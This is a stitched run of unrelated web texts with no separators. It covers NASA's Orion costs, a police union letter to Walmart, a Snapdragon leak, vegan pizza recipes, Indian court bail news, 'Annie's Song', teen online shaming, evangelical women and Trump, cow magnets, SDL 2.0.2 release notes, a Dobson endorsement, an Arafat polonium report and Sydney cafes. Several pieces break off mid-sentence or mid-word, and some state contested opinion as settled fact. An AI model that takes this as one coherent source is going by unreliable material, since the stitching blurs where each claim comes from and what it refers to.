After putting on the finished touches, NASA plans to ship the vehicle to the Kennedy Space Center (KSC) aboard NASA’s Super Guppy airplane on or about Feb. 1. At KSC, engineers working inside the Neil Armstrong Operation and Checkout Building (O & C) will spend the next two years outfitting Orion for launch in late 2018 by installing all the systems and subsystems for its inaugural flight to the Moon and back.
Overall this is the third Orion capsule that NASA has built, following the Ground Test Article (GTA), which did not fly, and the EFT-1 capsule which successfully launched just over one year ago on Dec. 5, 2014. [emphasis mine]
Three months to do 7 welds. Two years to outfit a capsule. Wow! At that pace they might launch before the end of the century.
Seriously, this is an absurdly slow work pace, illustrating the wasteful nature of the SLS/Orion program. Orion’s budget these days is about $1 billion per year, with a total cost expected to reach $17 billion by the time the fourth capsule is built and launched in 2023, for a project first proposed in 2004.
In other words, it will take NASA and Lockheed Martin almost 20 years to build four capsules for the cost of $17 billion. That is absurd. Compare it to commercial space: The entire budget for all the commercial crew contracts, including both cargo contracts and the manned contract, is about half that, and will produce four different vehicles, all of which will be built and flying by 2019 at the latest. And in the case of Dragon and Cygnus, more than a dozen capsules have already flown.
Is there no one in Washington with the brain power to read these numbers and come to a rational decision about SLS/Orion? It costs too much and isn’t getting us into space. Moreover, at its pace and cost it isn’t doing anything to help the American aerospace industry. Better for Congress to put money into other things, or save it entirely and reduce the deficit and thus not waste it on this pork barrel garbage.
Unfortunately, our elected officials today not only don’t have brains, too many of them are downright corrupt. They prefer to bankrupt the nation for their own petty gain rather than do things that might help the nation grow.BALTIMORE (WBFF) - The national president of the Fraternal Order of Police (FOP) has asked Walmart to prohibit the online sale of apparel with the words “BULLETPROOF” and “Black Lives Matter,” calling the slogans offensive.
The letter states, in part, “I am writing on behalf of the membership of the Fraternal Order of Police to advise you that third-party sellers are using your website to sell offensive shirts and sweatshirts with the slogans ‘BULLETPROOF’ and ‘Black Lives Matter.’ I urge you to prohibit the use of the Walmart name and website for the retail sale of these products.”
The letter, signed by FOP National President Chuck Canterbury, was released Tuesday.
The full letter can be found below and in this story's photo gallery.
FOX45 has reached out to Walmart for comment.In a new leak today, Chinese leaker @leaksfly outed Qualcomm‘s supposed late 2015 roadmap which includes a number of new processors we have yet to hear anything about. The leak details each new CPU and what it will bring to mobile devices. According to the document, there are no signs of a timeframe for any of these processors, though other reports have hinted at a late-2015 timeframe.
In the document, we see the upcoming processors listed as the Snapdragon 616, Snapdragon 620, Snapdragon 625 and 629, Snapdragon 815 and the Snapdragon 820. The Snapdragon 820 is an octa-core 64-bit chip with an Adreno 530 GPU, support for LPDDR4 RAM, and features support for MDM9X55 LTE-Advance Cat.10 connectivity.
One chip that we’d likely see sooner than the 820 is the Snapdragon 815, which is no slack either. The 815 is an octa-core SoC with an Adreno 450 GPU, support for the same LPDDR4 RAM, and also features MDM9X55 LTE-Advance Cat.10 connectivity. Aside from the other future processors, another distinction that stands out in the report is that the Snapdragon 625 and 629 both feature identical specifications.
We can’t vouch for the validity of this leak, so we advise you to take this document with a grain of salt. Take a look at the image below for more information.
What are your thoughts on the leak? Does anything stand out to you other than the Snapdragon 820? Let us know your thoughts.If you’ve never made pizza from scratch before, let me assure you it’s actually incredibly easy. We’ve been making pizza on a weekly basis for months, now. Life just feels kind of meaningless without a Friday night pizza party. For many people, pizza means one thing: cheese. But there’s so much more that can be placed on top of a tasty circle of bread baked to crispy perfection. So much that you won’t even miss the cheese.
However, if you are someone who just can’t bear the thought of eating pizza without cheese, but you want a vegan pizza, too, then right now is the time to be alive, because there’s so many great vegan cheese substitutes out there. Not only is there a wide selection of good vegan cheeses at the supermarket, including the ultra popular Daiya, vegan chefs have created and shared countless homemade vegan cheese recipes that taste great on a pizza.
These vegan pizza recipes will have you throwing your own pizza parties in no time!
#1. SWEET POTATO PIZZA CRUST (Gluten Free)
Get the recipe here.
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#2. WINTER VEGAN PIZZA WITH BUTTERNUT SQUASH, CAULIFLOWER, BRUSSELS SPROUTS AND PESTO
Get the recipe here.
#3. Vegan Bánh mì Pizza
Get the recipe here.
#4. EASY VEGAN, GLUTEN-FREE CHICKPEA CRUST PIZZA
Get the recipe here.
#5. CAULIFLOWER PIZZA CRUST WITH HUMMUS (Gluten Free)
Get the recipe here.
#6. VEGAN TURKISH PIZZA (LAHMACUN)
Get the recipe here.
#7. 5-INGREDIENT QUINOA PIZZA CRUST (Gluten Free)
Get the recipe here.
#8. Vegan Hawaiian Barbecue Chicken Pizza
Get the recipe here.
#9. VEGAN BROCCOLI RABE & CASHEW RICOTTA WHITE PIZZA
Get the recipe here.
#10. Zucchini Quinoa Pizza
Get the recipe here.
#11. RAW PIZZA WITH GLUTEN-FREE CRUST
Get the recipe here.
#12. Arugula & Asparagus Pesto Pizza
Get the recipe here.
#13. VEGAN PUTTANESCA PIZZA
Get the recipe here.
#14. COCONUT AND GARLIC WHITE PIZZA
Get the recipe here.
#15. Spicy Baba Ganoush Pizza
Get the recipe here.
#16. Grilled Flatbread Pizza
Get the recipe here.
#17. VEGAN ISRAELI PIZZA
Get the recipe here.
#18. ZUCCHINI PIZZA BOATS
Get the recipe here.
#19. Margherita Pizza on Naan Bread
Get the recipe here.
#20. VEGAN THAI PIZZA
Get the recipe here.
#21. ROASTED BUTTERNUT SQUASH AND KALE PIZZA
Get the recipe here.
#22. VODKA SAUCE DEEP DISH PIZZA
Get the recipe here.
#23. Simple Vegan Pizza
Get the recipe here.
#24. BUFFALO CAULIFLOWER WING PIZZA WITH TOFU BLUE CHEESE SPREAD
Get the recipe here.
#25. BLACK EYED PEAS, TOFU THYME RICOTTA, DEEP DISH PIZZA
Get the recipe here.
#26. HAWAIIAN BBQ JACKFRUIT PIZZA
Get the recipe here.
#27. Gluten-Free Vegan Pizzas – “Red” Tomato Eggplant Pizza and “Green” Zucchini Pesto Pizza
Get the recipe here.
#28. Mozzarella Mac Deep Dish Pizza
Get the recipe here.
#29. GUACAMOLE PIZZA
Get the recipe here.
#30. ASPARAGUS POTATO PIZZA WITH KALE PESTO
Get the recipe here.
#31. Vegan Pepperoni Pizza
Get the recipe here.
#32. Deep Dish Vegan Pepperoni Pizza
Get the recipe here.New Delhi: Congress President Sonia Gandhi and Vice President Rahul Gandhi accused in the National Herald Case were granted bail today by the Patiala House Court.
The next Court hearing in the National Herald Case has been scheduled for February 20, 2016 at 2:00 pm.
“We moved an application before the court on behalf of all the accused for grant of bail, the court was kind enough to grant bail without conditions, except for furnishing security in the sum of Rs. 50000 on behalf of each accused,” said Kapil Sibal.
Congress leader AB Singhvi said, “It was unfortunate that Subramanian Swamy insisted that the court put conditions for Rahul and Sonia’s bail, but the judge declined Swamy’s plea.
For all the latest National News, download NewsX App
Read MoreBackground Edit
"Annie's Song" was written as an ode to Denver's wife at the time, Annie Martell Denver. Denver "wrote this song in July 1973 in about ten-and-a-half minutes one day on a ski lift" to the top of Ajax Mountain in Aspen, Colorado, as the physical exhilaration of having "just skied down a very difficult run" and the feeling of total immersion in the beauty of the colors and sounds that filled all senses inspired him to think about his wife.[2][3] Annie Denver recalls the beginnings: "It was written after John and I had gone through a pretty intense time together and things were pretty good for us. He left to go skiing and he got on the Ajax chair on Aspen mountain and the song just came to him. He skied down and came home and wrote it down... Initially it was a love song and it was given to me through him, and yet for him it became a bit like a prayer." "The first time I heard 'Annie's Song,' I told John it had the same melody as Tchaikovsky's Fifth Symphony, Second Movement," says Milt Okun. "He walked over to the piano, sat for an hour and came back, and the only thing remaining from Tchaikovsky was the first five notes. It was fantastic."[4]
Cover versions Edit
Chart performance Edit
Certification Edit
Region Certification Certified units/Sales United States (RIAA)[25] Gold 1,000,000^ *sales figures based on certification alone
^shipments figures based on certification alone
See also EditOnline 'Shaming' A New Level Of Cyberbullying For Girls
Editor's note: The audio version of this story contains some sexually graphic descriptions.
Enlarge this image toggle caption Joerg Koch/AP Joerg Koch/AP
Many teenagers are living half their lives on social media sites, and they're writing the rules as they go. One online trend 16-year-old Temitayo Fagbenle finds disturbing is something she calls "slut shaming" — using photos and videos to turn a girl's private life inside out. Temitayo reported this story as part of the Radio Rookies program at member station WNYC.
In the Puritan times of the 17th century, shaming women as in Nathaniel Hawthorne's The Scarlet Letter for their wanton acts was a whole town effort.
Today, this so-called slut shaming has a new tool. Instead of the town square, some people now turn to social media sites to share explicit photos and videos to shame these women and girls among their peers.
Live Discussion Radio Rookies will hold an in-class live chat on Jan. 8, from 1 p.m. to 2 p.m. EST, with students from classrooms around the country, to talk about the cyberbullying issues Temitayo's story brings up. To take part in the conversation, students will need to have Internet access. Temitayo, the reporter, will host the chat with Radio Rookies producers facilitating the discussion and moderating comments. Radio Rookies Live Chat — Jan. 8, 1 p.m.-2 p.m. EST
A recent Facebook posting I saw had a picture of a half-naked girl, lying on bed. The boy who posted it tagged the picture so that everyone could see it and go to the girl's page. Within less than an hour, the photo had about 443 likes and 261 comments. Comments like "your life is officially shot LMAO," and "I think she gonna cut her veins when she see this."
People post these pictures and videos and make "smut lists" for their neighborhood or school.
The boy who put up the picture posted a status update saying he received 2,000 friend requests because of the photo; and things like this are a regular occurrence at my school.
Two years ago, when I was in ninth grade, a girl in my class faced a similar situation. Her boyfriend put an intimate video of them up on the Internet, and suddenly everyone was talking about it. "He was going around holding his head high," the girl says. "He gave me a bad name.
Talking to a group of girls at my school about this online slut shaming, some of them say they often feel the need to shame other girls for their improper behavior. "They do it to themselves," one girls says. "Half the time we can't even blame the guys."
They do say, however, that it's not always the girl's fault and that often the girls are photographed and recorded without knowing. "That's not fair that a guy can actually hide his phone, have sex with you and record you, and then show it to his friends," one girl says.
When I was talking to the girl this happened to, she said she didn't know she was being recorded. "I kind of had a feeling that something was wrong, but I didn't want to believe it," she says.
At school, she was hoping that it wouldn't be too big of a deal, but even the principal knew about the video. He brought her to his office and called her mom.
"I couldn't even look at my mother because I felt hurt and I also felt that I disrespected her," she says. "I didn't want kids in the school to look at my mother and be like, 'Wow, she raised nothing.' "
I see girls get exposed like this on my Facebook newsfeed almost every day.
As for the schools, they have had to take on a new role. Some students take screenshots of the cyberbullying they see online, print them out and bring it to their teachers as evidence.
In cases where somebody might put up a sexually explicit video, Erica Doyle, the assistant principal at my school, says school officials absolutely contact the authorities. "Because once we're dealing with digital media that is sexually explicit [and] that has been captured and shared with the public, that actually now is a criminal matter," Doyle says.
Teenagers today aren't necessarily crueler than they were in the 1600s. It's just that now when we chastise each other, everybody who has access to the Internet can see it. And once that picture or video is out, you can't be completely safe in your mind that the past won't creep up on you at some random time.
This is the new scarlet letter.Laura Turner is a writer in San Francisco.
Over the weekend, as Donald Trump’s sexually aggressive comments on a leaked tape blew up the news cycle and threatened to sink his candidacy, a bulwark of support emerged among male evangelical leaders. Prominent evangelicals like Ralph Reed, Jerry Falwell Jr. and Robert Jeffress have all doubled down their support for the GOP nominee.
In the past, it might have been taken for granted that this meant the evangelical constituency would fall in line.
Story Continued Below
Not this time. On Sunday, Beth Moore, a popular speaker and Bible study author whose books have been New York Times best-sellers, spoke out about Trump and against these male evangelical leaders, tweeting, “Try to absorb how acceptable the disesteem and objectifying of women has been when some Christian leaders don’t think it’s that big a deal.” Moore, who is very popular in conservative Christian circles, usually refrains from getting involved in politics. But her take reflected an argument breaking out with renewed force among evangelical women—especially younger ones—about whether it’s really possible to support a man who writes off bragging about sexual assault as “locker room talk,” as he did in Sunday night’s debate.
A profound split has emerged among evangelical women. While many are standing firmly behind Trump, a growing number of them are starting to defect from his ranks of supporters. Some of them were shaky on Trump to begin with, and many have begun to speak out against him only after the most recent leaked tape. Hearing Trump brag about sexual assault was the last straw for women who had already started to question whether a thrice-married misogynist was the best candidate for president. “I’m really, really struggling with this election because I think one of the most important things to consider when choosing a president is the ramifications on judicial nominations,” says Jessica Frieberg, a 29-year-old paralegal from Southern California. At the same time, she wonders if she can “really vote for Trump when he, as an individual, behaves in such morally and ethically reprehensible ways.”
While evangelicals have typically supported the Republican presidential nominee by a wide margin in recent decades, Trump’s candidacy was already causing many in the evangelical base to question the long alliance between their faith community and the GOP.
For many young evangelical women, support of Trump was never an option in the first place. Julia, a 21-year-old newspaper editor in the Midwest who asked to be identified by only her first name, comes from a “fairly conservative background” but has never considered voting for Trump. He “is the antithesis of every value I was raised to hold or have since come to hold,” she says—values like “kindness, open-mindedness, humility, truthfulness or any awareness of how the world actually works.” She says her faith drives her to hope “that the president would value those under his or her care, but the only person I have seen Trump value is himself.”
Whitney Jones, a 26-year-old technical writer from Murray, Kansas, graduated from the Southern Baptist Convention-funded Union University and voted Republican in the 2008 and 2012 elections but has “never once considered supporting Trump, though both my parents and grandparents support him.” She’s become a Hillary Clinton supporter in this election and, in what she calls a “big move,” registered as a Democrat a couple of weeks ago. And Katie Loveland, a 33-year-old consultant in Helena, Montana, is involved in a number of offline conversations with evangelical women who “saw through Trump from the beginning.” Many of those women, she says, are trying to hold on to their evangelical label—meaning theologically conservative Christians, as opposed to more liberal mainliners—but “feel that they are being pushed to the brink by this election.”
For a generation (or more), voting evangelical has meant siding with the candidate who promises to overturn Roe v. Wade, and with one Supreme Court seat already in the balance and more certain to open, the issue has acquired even more urgency. Clinton mentioned in Sunday’s debate that she is committed to appointing justices who will uphold Roe as the law of the land. Trump has put forward a list of conservative justices that satisfy the desires of the evangelical electorate, justices who would, given the chance, overturn Roe v. Wade. That list covers a multitude of sins for Trump, whose personal failings are being overlooked by evangelicals who see filling Supreme Court seats as the most important issue of the election.
When it comes to what are traditionally referred to as “women’s issues,” evangelicals are more divided. They are largely against abortion, but the decentralized structure of evangelicalism means that churches get to decide individually about the role women can play in leadership, and many of the country’s most prominent megachurches have women at top levels of leadership and pastoral staff. So while some evangelicals might dismiss Trump’s throwback attitudes about women as “boys will be boys,” many have been up in arms about his attitude toward women precisely because the evangelical church has been alert to the role of women for decades.
That said, in some respects what’s striking is how many women haven’t budged, despite Trump’s clear violation of evangelical sexual ethics, both in word and deed—considering his divorces and pursuit of married women. An acquaintance of mine, an evangelical woman in her early 30s, wrote a Facebook post in which she said she was disturbed by what Trump had said but was committed to voting for him because “the Supreme Court is the most important issue of this election.” She wrote that she knew it wasn’t popular among evangelicals to vote for him—itself a surprising thing to say about a GOP candidate, and debatable, depending on the evangelical circles you run in—but encouraged her friends to think about their children and cast a vote for the candidate most likely to help outlaw abortion.
Older female evangelicals seem to be less reticent about their support for Trump. Catherine Mazanowicz, 59, is an executive assistant in Chicago and has been for Trump since the primaries. “I am supporting Trump because I do not want to see Hillary Clinton in power,” Mazanowicz says. She says the audio leak doesn’t bother her because it “is 11 years old [and] elections should be based on issues.”
She repeats a line I’ve heard frequently from evangelicals, which is that she’s not looking for a perfect candidate for president but for an “effective leader.” Sandra Davis, a 66-year-old retired housewife with a Master of Divinity degree, lives in Newport Beach, California, and was disappointed by Trump’s remarks about how he treated women. It made her “wonder what God is doing in his life. But I decide to separate that behavior from his ability to lead the country,” Davis says. “I do not think that it is necessary for the president to be a Christian. … However, there are values that I hold to which are formed by my Christian faith that cause me to support one candidate over another.” Davis values religious liberty, and fears that a Clinton presidency would be “very dangerous” to freedom in the pulpit. She wants a president who will “protect the unborn,” a value that stems from her Christian faith and that she has heard Trump espouse. And she believes that “the system we live under is the greatest one in the world,” a sentiment I’ve heard many times from evangelicals who value the individualism of democracy and capitalism in the same way their faith values the individualism of conversion.
It has been getting harder to generalize about “evangelicals” over the past few elections, in part because of what appears to be a widening generational divide among self-identified Protestant voters. The issues that once led them to vote in lockstep are now splitting along age lines. Younger evangelicals are increasingly attracted to issues their older counterparts were apathetic about, like mass incarceration and “creation care,” a term for evangelical involvement in environmental issues. And when it comes to support for gay marriage—a position unthinkable not long ago, when Christian conservatives were seen as a great political rampart in the effort to keep marriage between a man and a woman—millennial evangelicals support gay marriage at a rate of about 43 percent, as compared with 19 percent of the oldest evangelical generation.
“There has been a building sense, especially among younger evangelicals, that their faith had become too closely tied to a political party,” says Michael Wear, co-founder of Public Faith and author of an upcoming book recounting lessons of hope from his time directing faith outreach for President Barack Obama’s 2012 campaign. (Wear, considered a moderate in evangelical politics, isn’t publicly supporting either candidate.) “I think a lot of evangelicals, especially younger ones, they get quite a lot of emotional and social affirmation from being able to be so strongly against Trump.”
If support for a secular, libertine Republican is proving surprisingly hard to budge, there may be a reason beyond just the issues. Though it’s not often discussed in these terms, there’s also an evangelical disposition to want to endorse a candidate wholeheartedly. Evangelicalism is all about certainty of conviction, from the moment of conversion to the confidence that their understanding of biblical interpretation is the apex of historical Christianity. They, more than other groups, have a need to represent a united, not conflicted, front. So a candidate like Trump, who is right on the one big thing that matters, can count on a constituency to find and parrot the good things about him as a candidate, no matter what.
So what remains to unite the evangelical vote? The refrain I keep hearing in my reporting from both sides is that, unless Jesus Christ is on the ballot, we are not going to have a perfect candidate for president. Wear also says he’s observed the phenomenon of evangelicals excusing Trump’s errors in judgment because they think that our current political situation might just be too complicated for Jesus. This line of thinking, Wear says, goes, “If only Jesus knew when he said ‘love your enemies’ that there was going to be this difficult political thing we’d have to apply it to, there surely would have been an addendum.”
Sandra Davis, the retired housewife from Newport Beach, is still feeling conflicted, and for a very Christian reason. “On some level I have a lot of compassion for Hillary. My dislike of her is high, yet when people were yelling ‘Send her to jail’ at the Republican convention, I felt bad for her. … I pray for her that if she loses she will have something meaningful in her life where she can make a difference. Most days I even mean it.”Dairy farmers routinely feed their cows a finger-sized magnet, which settles in the digestive tract to help keep the cows healthy. Wait what? This is no bizarre homeopathy, but rather a legitimate treatment for a stomach-churning ailment called "hardware disease."
The problem arises because cows don't chew before swallowing. Of course, cows do famously spend pretty much all their time chewing cud, semi-digested food that is regurgitated from the stomach. When they're ripping up fresh hay or grass, though, they swallow large portions with barely any chewing. Food, along with whatever nails, tacks, baling wire, and other stray pieces of metal are hiding it, go right down.
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All this metal eventually collects in the reticulum, the second of four stomach chambers. Here, it can became hardware disease. Sharp pieces can poke through the stomach and into the heart, which is separated only by the soft muscle of the diaphragm. In slightly less terrible situations, digestion is blocked, and the cow swells up to a shape likened to a "papple," half pear, half apple.
Cow magnet. CC/Wikimedia Commons
That's where magnets come in. A magnet about the size and shape of a finger is placed inside a bolus gun, essentially a long tube that ensures the magnet goes down the cow's throat. Then it settles in the reticulum, collecting any stray pieces of metal. The magnets, which cost a few bucks a pop, can also be placed preventatively. To check if a cow already has a magnet, farmers use a compass.
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Bizarre as the idea of a permanent stomach magnet may be, it's very necessary. One report, from the 1990s, found that 55 to 75 percent of all slaughtered cows had hardware in their stomachs. Our landscapes are littered with stray pieces of metal, and sometimes, horrifyingly, they end up in our cows. Luckily, this low-tech magnet solution can work wonders.
[Daily American, Beef Magazine, Countryside]
Top image: Laurent Renault/Shutterstock
Contact the author at sarah@gizmodo.com.SDL
Simple Directmedia Layer Forums SDL 2.0.2 RELEASED! Sam Lantinga
Joined: 10 Sep 2009 Posts: 1765
http://www.libsdl.org/download-2.0.php
In addition to numerous bug fixes, here are the major changes since 2.0.1:
General:
* Added SDL_GL_ResetAttributes() to reset OpenGL attributes to default values
* Added an API to load a database of game controller mappings from a file:
SDL_GameControllerAddMappingsFromFile(), SDL_GameControllerAddMappingsFromRW()
* Added game controller mappings for the PS4 and OUYA controllers
* Added SDL_GetDefaultAssertionHandler() and SDL_GetAssertionHandler()
* Added SDL_DetachThread()
* Added SDL_HasAVX() to determine if the CPU has AVX features
* Added SDL_vsscanf(), SDL_acos(), and SDL_asin() to the stdlib routines
* EGL can now create/manage OpenGL and OpenGL ES 1.x/2.x contexts, and share
them using SDL_GL_SHARE_WITH_CURRENT_CONTEXT
* Added a field "clicks" to the mouse button event which records whether the event is a single click, double click, etc.
* The screensaver is now disabled by default, and there is a hint SDL_HINT_VIDEO_ALLOW_SCREENSAVER that can change that behavior.
* Added a hint SDL_HINT_MOUSE_RELATIVE_MODE_WARP to specify whether mouse relative mode should be emulated using mouse warping.
* testgl2 does not need to link with libGL anymore
* Added testgles2 test program to demonstrate working with OpenGL ES 2.0
* Added controllermap test program to visually map a game controller
Windows:
* Support for OpenGL ES 2.x contexts using either WGL or EGL (natively via
the driver or emulated through ANGLE)
* Added a hint SDL_HINT_VIDEO_WIN_D3DCOMPILER to specify which D3D shader compiler to use for OpenGL ES 2 support through ANGLE
* Added a hint SDL_HINT_VIDEO_WINDOW_SHARE_PIXEL_FORMAT that is useful when creating multiple windows that should share the same OpenGL context.
* Added an event SDL_RENDER_TARGETS_RESET that is sent when D3D9 render targets are reset after the device has been restored.
Mac OS X:
* Fullscreen desktop mode now uses spaces for a more fluid Mac experience.
* Added a hint SDL_HINT_MAC_CTRL_CLICK_EMULATE_RIGHT_CLICK to control whether Ctrl+click should be treated as a right click on Mac OS X. This is off by default.
Linux:
* Fixed fullscreen and focused behavior when receiving NotifyGrab events
* Added experimental Wayland and Mir support, disabled by default
Android:
* Joystick support (minimum SDK version required to build SDL is now 12,
the required runtime version remains at 10, but on such devices joystick
support won't be available).
* Hotplugging support for joysticks
* Added a hint SDL_HINT_ACCELEROMETER_AS_JOYSTICK to control whether the accelerometer should be listed as a 3 axis joystick, which it will by default.
Enjoy! Thanks to everyone who contributed, SDL 2.0.2 is now available!In addition to numerous bug fixes, here are the major changes since 2.0.1:General:* Added SDL_GL_ResetAttributes() to reset OpenGL attributes to default values* Added an API to load a database of game controller mappings from a file:SDL_GameControllerAddMappingsFromFile(), SDL_GameControllerAddMappingsFromRW()* Added game controller mappings for the PS4 and OUYA controllers* Added SDL_GetDefaultAssertionHandler() and SDL_GetAssertionHandler()* Added SDL_DetachThread()* Added SDL_HasAVX() to determine if the CPU has AVX features* Added SDL_vsscanf(), SDL_acos(), and SDL_asin() to the stdlib routines* EGL can now create/manage OpenGL and OpenGL ES 1.x/2.x contexts, and sharethem using SDL_GL_SHARE_WITH_CURRENT_CONTEXT* Added a field "clicks" to the mouse button event which records whether the event is a single click, double click, etc.* The screensaver is now disabled by default, and there is a hint SDL_HINT_VIDEO_ALLOW_SCREENSAVER that can change that behavior.* Added a hint SDL_HINT_MOUSE_RELATIVE_MODE_WARP to specify whether mouse relative mode should be emulated using mouse warping.* testgl2 does not need to link with libGL anymore* Added testgles2 test program to demonstrate working with OpenGL ES 2.0* Added controllermap test program to visually map a game controllerWindows:* Support for OpenGL ES 2.x contexts using either WGL or EGL (natively viathe driver or emulated through ANGLE)* Added a hint SDL_HINT_VIDEO_WIN_D3DCOMPILER to specify which D3D shader compiler to use for OpenGL ES 2 support through ANGLE* Added a hint SDL_HINT_VIDEO_WINDOW_SHARE_PIXEL_FORMAT that is useful when creating multiple windows that should share the same OpenGL context.* Added an event SDL_RENDER_TARGETS_RESET that is sent when D3D9 render targets are reset after the device has been restored.Mac OS X:* Fullscreen desktop mode now uses spaces for a more fluid Mac experience.* Added a hint SDL_HINT_MAC_CTRL_CLICK_EMULATE_RIGHT_CLICK to control whether Ctrl+click should be treated as a right click on Mac OS X. This is off by default.Linux:* Fixed fullscreen and focused behavior when receiving NotifyGrab events* Added experimental Wayland and Mir support, disabled by defaultAndroid:* Joystick support (minimum SDK version required to build SDL is now 12,the required runtime version remains at 10, but on such devices joysticksupport won't be available).* Hotplugging support for joysticks* Added a hint SDL_HINT_ACCELEROMETER_AS_JOYSTICK to control whether the accelerometer should be listed as a 3 axis joystick, which it will by default.Enjoy!
Design by
Content © SDL
Powered by phpBB © phpBB GroupDesign by Vjacheslav Trushkin for phpBBStyles.com Content © SDLJames Dobson, the prominent social conservative leader and founder of Focus on the Family, formally endorsed former senator Rick Santorum (R-Pa.) for president Thursday.
View Photo Gallery: The former House speaker is seeking the Republican presidential nomination.
The move, which had been expected for days, comes two days before the pivotal South Carolina primary. It also comes as former House speaker Newt Gingrich (R-Ga.) is vying with Santorum to round up the support of social conservatives, particularly backers of Texas Gov. Rick Perry (R), who dropped out of the presidential race Thursday morning and announced his support of Gingrich.
“While there are other GOP candidates who are worthy of our support, Sen. Santorum is the man of the hour,” Dobson said in a statement Thursday. “His knowledge of international politics, especially Israel and the turmoil in the Middle East, is highly relevant to the dangerous world in which we live. This is why I am endorsing former Senator Rick Santorum for president of the United States, and urge my countrymen to join us in this campaign.”
Dobson’s announcement comes nearly a week after he and 150 other conservative leaders huddled at a Texas ranch in an effort to rally around one candidate in the race.
After three rounds of balloting, Santorum emerged as the choice of a majority of those who attended, but some attendees later told reporters that the vote was sharply divided and that many social conservative leaders still planned to support Gingrich.
Politico reported this week that Dobson had some harsh words for Gingrich at the event; he reportedly reminded attendees that Callista Gingrich, Newt Gingrich’s wife, had been the candidate’s “mistress for eight years.”
Gingrich’s second wife, Marianne, went public with her account of her marriage to the candidate this week, telling The Washington Post and ABC News that Gingrich had wanted “an open marriage.”
Related:
GOP presidential election endorsements
The Washington Post’s presidential endorsement gameLancet report supports accusation that Yasser Arafat was poisoned
By Jean Shaoul
21 October 2013
The Lancet, one of the world’s leading medical journals, has published a report supporting the thesis that Yasser Arafat was poisoned with polonium-210.
The president of the Palestinian Authority died in a French military hospital in November 2004 after falling ill at his headquarters in Ramallah.
The study did not address the question of whether Arafat had been assassinated or how he had come into contact with polonium, but the presence of the radioactive isotope points irrefutably to Arafat’s murder. Given the difficulty of obtaining the isotope by anyone other than the nuclear powers and asking cui bono (who benefits?), the murder could only have been planned—if not carried out—by Israel or the United States.
The office of Israel’s Prime Minister Benjamin Netanyahu dismissed the report, saying he had “nothing new to say” on the death of Arafat.
The study, Improving Forensic Investigation for Polonium Poison |
’t know about that.
PG: Of course it does. It’s the very inclusiveness that the president talked about, the range of humanity you show in your work.
BC: I’m just interested in telling good stories. And in essence, this is a good story. It’s why we talk about legacy. In sports, when someone retires, they don’t automatically elect them to the Hall of Fame. There’s a buffer period, a five-year period when everything has to settle down. After five years of being out of the limelight, do we still think of that person?
BO: Let me pick up on that. I was having a conversation with a couple of actors who were insisting that what they do is different from what I do. No doubt, it’s different. But never underrate the power of stories. Lyndon Johnson got the Civil Rights Act done because of the stories he told and the ones [Martin Luther] King told. When L.B.J. says, “We shall overcome” in the chamber of the House of Representatives, he is telling the nation who we are. Culture is vital in shaping our politics. Part of what I’ve always been interested in as president, and what I will continue to be interested in as an ex-president, is telling better stories about how we can work together.
BC: Well, I think your story is going to have a very happy ending.Vella Nero at 3259-261 Clarence Street. Photo: Peter Rae
Pablo and Rusty's at 161 Castlereagh Street. Photo: Peter Rae
Marlowe's Way on Tank Stream Way. Photo: Peter Rae
Klink at 281 Clarence Street. Photo: Peter Rae
Filter coffees from Mecca Espresso on King Street. Photo: Domino Postiglione
Cold-drip coffee from Pablo and Rusty's at 161 Castlereagh Street. Photo: Peter Rae
Coffee from Vella Nero at 3259-261 Clarence Street. Photo: Peter Rae
Coffee from Gumption by Coffee Alchemy at Shop 11, Ground Floor, Strand Arcade
Coffee from Cabrito Coffee Traders at 10-14 Bulletin Place. Photo: Jennifer Soo
Cabrito Coffee Traders at 10-14 Bulletin Place. Photo: Jennifer Soo
Barry Wong and Amy Winter at Workshop Espresso in The Galeries Victoria. Photo: Tamara Dean
Baker Bros. Espresso at Shop 1, 56-58 York Street. Photo: Peter Rae
A takeaway latte from Baker Bros. Espresso at Shop 1, 56-58 York Street Photo: Peter Rae.
A picollo latte from Marlowe's Way on Tank Stream Way. Photo: Peter Rae
A macchiato from Marlowe's Way on Tank Stream Way. Photo: Peter Rae
A long black from Cabrito Coffee Traders at 10-14 Bulletin Place. Photo: Peter Rae
A flat white and long black from Klink at 281 Clarence Street. Photo: Peter Rae of
Whether you live or work in the city, pass through on your commute, or brave the crowds for weekend shopping, it's a rare Sydneysider who hasn't found themselves in the city in need of a coffee. Thankfully, the number of fantastic cafes in the CBD has exploded in the past couple of years, and it's easier than ever to get a decent cup whether you're in Circular Quay or Haymarket.
Here are 10 of our favourites places for coffee in the CBD. Some of them are newly opened, and some we've been going to for years. They range from holes-in-the-wall, perfect for a post-commute espresso, through to places with space to sit down with the morning paper and a pour-over.
Baker Bros. Espresso
Here's something we hope catches on in Sydney: $1 espresso if you take it standing up at the bar, as they do in Italy. That espresso is very good, too: smooth and velvety, using a seasonal blend from Melbourne roasters Veneziano.
The Sydney Morning Herald Good Cafe Guide 2014.
Shop 1, 56–58 York Street, 9262 3884, bakerbros.com.au
Coffee: Veneziano Coffee Roasters
Cabrito Coffee Traders
Circular Quay is no longer the coffee desert it once was (see also the newly opened Ground Control Cafe abutting the train station), and Cabrito has been a go-to at this end of the city for a while. The house blend is roasted on-site, with single origin beans from guest roasters, and there's cold drip and filter too.
10-14 Bulletin Place, 8065 8895
Coffee: Cabrito Coffee Traders
Double Barrel Coffee Merchants
This York Street cafe gets swamped by commuters pouring out of Wynyard Station and off York Street buses in the mornings. Using seasonal blends and single origin beans from Melbourne's Seven Seeds, the lighter roast blends with milk beautifully, showing off dried fruit characteristics in a silky piccolo latte, while single origins star in pour-overs.
301 York Street, 0413 683 949
Coffee: Seven Seeds
Gumption by Coffee Alchemy
Christmas came early for Coffee Alchemy fans when Hazel des los Royes opened her second venue outside the Marrickville original in the city late last year. The store, tricked out in pale jade green and gold, takes advantage of its gorgeous location in the Strand Arcade. Service is engaged and knowledgeable, with staff explaining the origin of the beans as they deliver your sublime espresso with its thick crema.
Shop 11, Ground Floor, Strand Arcade
Coffee: Coffee Alchemy
Klink Handmade Espresso
In a city where everyone's in a rush, a takeaway window makes sense - there's a steady line of coffee to grab-and-go outside Klink every morning. But if you've got 10 minutes, it's far nicer to take a seat inside, checking out what's in the Gaffa Gallery with your cup of caramel-toned Golden Cobra coffee.
Gaffa Gallery, 281 Clarence Street
Coffee: The Golden Cobra
Marlowe's Way
Tiny but cleverly designed Marlowe's Way, tucked into a drab laneway, is a destination at this end of town for its sweet, smooth coffee, made on Little Marionette's Bankistan blend. Beer taps share space with the espresso machine, as it turns into a bar on Thursday and Friday evenings.
Cnr Tank Stream Way and Bridge Lane, 0432 487 598
Coffee: The Little Marionette
